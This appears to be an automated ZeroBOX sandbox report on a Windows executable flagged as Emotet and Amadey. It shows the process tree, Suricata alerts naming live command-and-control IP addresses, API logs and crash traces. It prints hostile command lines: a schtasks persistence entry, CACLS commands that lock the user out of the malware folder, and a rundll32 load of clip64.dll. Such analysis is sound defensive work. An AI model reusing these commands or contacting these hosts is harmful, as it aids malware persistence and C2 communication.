Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	April 28, 2023, 9:04 a.m.	April 28, 2023, 9:08 a.m.

Size	1.1MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`522ae0a94eb64b2124168a956e661bc3`
SHA256	`3dcf4353e44eeea54a077cb5b38166736387b58901cdfcf92f3394be96655676`
CRC32	`AE87197A`
ssdeep	`24576:Aye2P6hrE/pJgeU8azxtySMZObQLPTB3NVMFWh1LhuFpTSnzcghI:Hel56fgzxtQZObQzJ3A01tuTTSAgh`
PDB Path	wextract.pdb
Yara	UPX_Zero - UPX packed file Win32_Trojan_Gen_1_0904B0_Zero - Win32 Trojan Emotet CAB_file_format - CAB archive file IsPE32 - (no description) PE_Header_Zero - PE File Signature Win32_Trojan_Emotet_RL_Gen_Zero - Win32 Trojan Emotet Malicious_Library_Zero - Malicious_Library

photo_410.exe "C:\Users\test22\AppData\Local\Temp\photo_410.exe"
2556
- wa363839.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\wa363839.exe
  2608
  - tn822860.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\tn822860.exe
    2688
    - Mu503333.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\Mu503333.exe
      2732
      - 125298223.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\125298223.exe
        2776
      - 260604685.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\260604685.exe
        2936
    - 389830422.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\389830422.exe
      2980
      - oneetx.exe "C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe"
        604
        
        schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN oneetx.exe /TR "C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe" /F
        148
        
        cmd.exe "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "oneetx.exe" /P "test22:N"&&CACLS "oneetx.exe" /P "test22:R" /E&&echo Y|CACLS "..\cb7ae701b3" /P "test22:N"&&CACLS "..\cb7ae701b3" /P "test22:R" /E&&Exit
        2256
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2460
        
        cacls.exe CACLS "oneetx.exe" /P "test22:N"
        2504
        
        cacls.exe CACLS "oneetx.exe" /P "test22:R" /E
        2584
        
        cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo Y"
        2656
        
        cacls.exe CACLS "..\cb7ae701b3" /P "test22:N"
        2684
        
        cacls.exe CACLS "..\cb7ae701b3" /P "test22:R" /E
        2872
        
        foto0174.exe "C:\Users\test22\AppData\Local\Temp\1000007051\foto0174.exe"
        536
        
        un044733.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\un044733.exe
        2916
        
        03413863.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\03413863.exe
        2772
        
        rk873095.exe C:\Users\test22\AppData\Local\Temp\IXP002.TMP\rk873095.exe
        2236
        
        si887271.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\si887271.exe
        2508
        
        foto34.exe "C:\Users\test22\AppData\Local\Temp\1000008051\foto34.exe"
        940
        
        st567195.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\st567195.exe
        744
        
        80954164.exe C:\Users\test22\AppData\Local\Temp\IXP004.TMP\80954164.exe
        2124
        
        kp833867.exe C:\Users\test22\AppData\Local\Temp\IXP004.TMP\kp833867.exe
        2664
        
        lr828472.exe C:\Users\test22\AppData\Local\Temp\IXP003.TMP\lr828472.exe
        1064
        
        rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\test22\AppData\Roaming\006700e5a2ab05\clip64.dll, Main
        2116
  - 476586955.exe C:\Users\test22\AppData\Local\Temp\IXP001.TMP\476586955.exe
    1728
- 594526377.exe C:\Users\test22\AppData\Local\Temp\IXP000.TMP\594526377.exe
  776
explorer.exe C:\Windows\Explorer.EXE
1452

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
185.161.248.72	Active	Moloch
193.3.19.154	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49180 -> 193.3.19.154:80	2027700	ET MALWARE Amadey CnC Check-In	Malware Command and Control Activity Detected
TCP 192.168.56.101:49180 -> 193.3.19.154:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 192.168.56.101:49188 -> 193.3.19.154:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 193.3.19.154:80 -> 192.168.56.101:49180	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 192.168.56.101:49188 -> 193.3.19.154:80	2027250	ET INFO Dotted Quad Host DLL Request	Potentially Bad Traffic
TCP 193.3.19.154:80 -> 192.168.56.101:49180	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 193.3.19.154:80 -> 192.168.56.101:49180	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 193.3.19.154:80 -> 192.168.56.101:49188	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 193.3.19.154:80 -> 192.168.56.101:49188	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 193.3.19.154:80 -> 192.168.56.101:49188	2015744	ET INFO EXE IsDebuggerPresent (Used in Malware Anti-Debugging)	Misc activity
TCP 192.168.56.101:49180 -> 193.3.19.154:80	2016141	ET INFO Executable Download from dotted-quad Host	A Network Trojan was detected
TCP 193.3.19.154:80 -> 192.168.56.101:49180	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 193.3.19.154:80 -> 192.168.56.101:49180	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Queries for the computername (25 events)

Time & API	Arguments	Status	Return
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW April 28, 2023, 9:04 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (11 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent April 28, 2023, 9:04 a.m.			0	0
IsDebuggerPresent April 28, 2023, 9:04 a.m.			0	0
IsDebuggerPresent April 28, 2023, 9:04 a.m.			0	0
IsDebuggerPresent April 28, 2023, 9:04 a.m.			0	0
IsDebuggerPresent April 28, 2023, 9:04 a.m.			0	0
IsDebuggerPresent April 28, 2023, 9:04 a.m.			0	0
IsDebuggerPresent April 28, 2023, 9:04 a.m.			0	0
IsDebuggerPresent April 28, 2023, 9:04 a.m.			0	0
IsDebuggerPresent April 28, 2023, 9:04 a.m.			0	0
IsDebuggerPresent April 28, 2023, 9:04 a.m.			0	0
IsDebuggerPresent April 28, 2023, 9:05 a.m.			0	0

Command line console output was observed (50 out of 79 events)

Time & API	Arguments	Status	Return
WriteConsoleW April 28, 2023, 9:04 a.m.	buffer: SUCCESS: The scheduled task "oneetx.exe" has successfully been created. console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: Y console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: N console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW April 28, 2023, 9:04 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: p console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: c console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: d console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: f console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: i console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: l console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleW April 28, 2023, 9:04 a.m.	buffer: C:\Users\test22\AppData\Local\Temp\cb7ae701b3\oneetx.exe console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: A console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: r console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: e console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: y console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: o console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: s console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: u console_handle: 0x00000007	1	1
WriteConsoleA April 28, 2023, 9:04 a.m.	buffer: r console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (34 events)

Time & API	Arguments	Status	Return
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x008b45d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x008b45d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x008b4618 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x008b4618 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x008b46d8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0086e648 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0086e648 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00874dd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00874dd8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00874e18 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766268 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766268 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007662a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766828 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766868 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766868 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007669a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007669a8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x007668e8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00766728 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0046e8c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0046e8c8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0046e908 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0046ee88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0046eec8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0046eec8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0046f008 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0046f008 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0046ef48 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0046ed88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0046ed88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey April 28, 2023, 9:04 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0046ed88 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

This executable has a PDB path (1 event)

pdb_path

wextract.pdb

Tries to locate where the browsers are installed (3 events)

file	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
file	C:\Program Files\Mozilla Firefox\firefox.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx April 28, 2023, 9:04 a.m.		1	1	0

The file contains an unknown PE resource name possibly indicative of a packer (1 event)

resource name

AVI

One or more processes crashed (48 events)

Time & API	Arguments	Status
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 125298223+0x1fa2 @ 0x401fa2 exception.instruction_r: f3 aa 8b 45 f0 8b 4d 08 8b 55 10 03 c8 2b d0 52 exception.symbol: 125298223+0xf088 exception.instruction: stosb byte ptr es:[edi], al exception.module: 125298223.exe exception.exception_code: 0xc0000005 exception.offset: 61576 exception.address: 0x40f088 registers.esp: 1636996 registers.edi: 4350244 registers.eax: 0 registers.ebp: 1637012 registers.edx: 0 registers.ebx: 0 registers.esi: 36973384 registers.ecx: 12	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 125298223+0xf054 @ 0x40f054 125298223+0xf0a0 @ 0x40f0a0 125298223+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 125298223+0xefff exception.address: 0x40efff exception.module: 125298223.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4353968 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 36973384 registers.ecx: 274	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 125298223+0xf054 @ 0x40f054 125298223+0xf0a0 @ 0x40f0a0 125298223+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 125298223+0xefff exception.address: 0x40efff exception.module: 125298223.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4358064 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 36973384 registers.ecx: 242	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 125298223+0xf054 @ 0x40f054 125298223+0xf0a0 @ 0x40f0a0 125298223+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 125298223+0xefff exception.address: 0x40efff exception.module: 125298223.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4362160 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 36973384 registers.ecx: 210	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 125298223+0xf054 @ 0x40f054 125298223+0xf0a0 @ 0x40f0a0 125298223+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 125298223+0xefff exception.address: 0x40efff exception.module: 125298223.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4366256 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 36973384 registers.ecx: 178	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 125298223+0xf054 @ 0x40f054 125298223+0xf0a0 @ 0x40f0a0 125298223+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 125298223+0xefff exception.address: 0x40efff exception.module: 125298223.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4370352 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 36973384 registers.ecx: 146	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 125298223+0xf054 @ 0x40f054 125298223+0xf0a0 @ 0x40f0a0 125298223+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 125298223+0xefff exception.address: 0x40efff exception.module: 125298223.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4374448 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 36973384 registers.ecx: 114	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 125298223+0xf054 @ 0x40f054 125298223+0xf0a0 @ 0x40f0a0 125298223+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 125298223+0xefff exception.address: 0x40efff exception.module: 125298223.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4378544 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 36973384 registers.ecx: 82	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 125298223+0xf054 @ 0x40f054 125298223+0xf0a0 @ 0x40f0a0 125298223+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 125298223+0xefff exception.address: 0x40efff exception.module: 125298223.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4382640 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 36973384 registers.ecx: 50	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 125298223+0xf054 @ 0x40f054 125298223+0xf0a0 @ 0x40f0a0 125298223+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 125298223+0xefff exception.address: 0x40efff exception.module: 125298223.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4386736 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 36973384 registers.ecx: 18	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 80954164+0x1fa2 @ 0x401fa2 exception.instruction_r: f3 aa 8b 45 f0 8b 4d 08 8b 55 10 03 c8 2b d0 52 exception.symbol: 80954164+0xf088 exception.instruction: stosb byte ptr es:[edi], al exception.module: 80954164.exe exception.exception_code: 0xc0000005 exception.offset: 61576 exception.address: 0x40f088 registers.esp: 1636996 registers.edi: 4350244 registers.eax: 0 registers.ebp: 1637012 registers.edx: 0 registers.ebx: 0 registers.esi: 37169992 registers.ecx: 12	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 80954164+0xf054 @ 0x40f054 80954164+0xf0a0 @ 0x40f0a0 80954164+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 80954164+0xefff exception.address: 0x40efff exception.module: 80954164.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4353968 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 37169992 registers.ecx: 274	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 80954164+0xf054 @ 0x40f054 80954164+0xf0a0 @ 0x40f0a0 80954164+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 80954164+0xefff exception.address: 0x40efff exception.module: 80954164.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4358064 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 37169992 registers.ecx: 242	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 80954164+0xf054 @ 0x40f054 80954164+0xf0a0 @ 0x40f0a0 80954164+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 80954164+0xefff exception.address: 0x40efff exception.module: 80954164.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4362160 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 37169992 registers.ecx: 210	1
__exception__ April 28, 2023, 9:04 a.m.	stacktrace: 80954164+0xf054 @ 0x40f054 80954164+0xf0a0 @ 0x40f0a0 80954164+0x1fa2 @ 0x401fa2 exception.instruction_r: 66 0f 7f 47 50 66 0f 7f 47 60 66 0f 7f 47 70 8d exception.symbol: 80954164+0xefff exception.address: 0x40efff exception.module: 80954164.exe exception.exception_code: 0xc0000005 exception.offset: 61439 registers.esp: 1636940 registers.edi: 4366256 registers.eax: 4350256 registers.ebp: 1636944 registers.edx: 32 registers.ebx: 0 registers.esi: 37169992 registers.ecx: 178	1
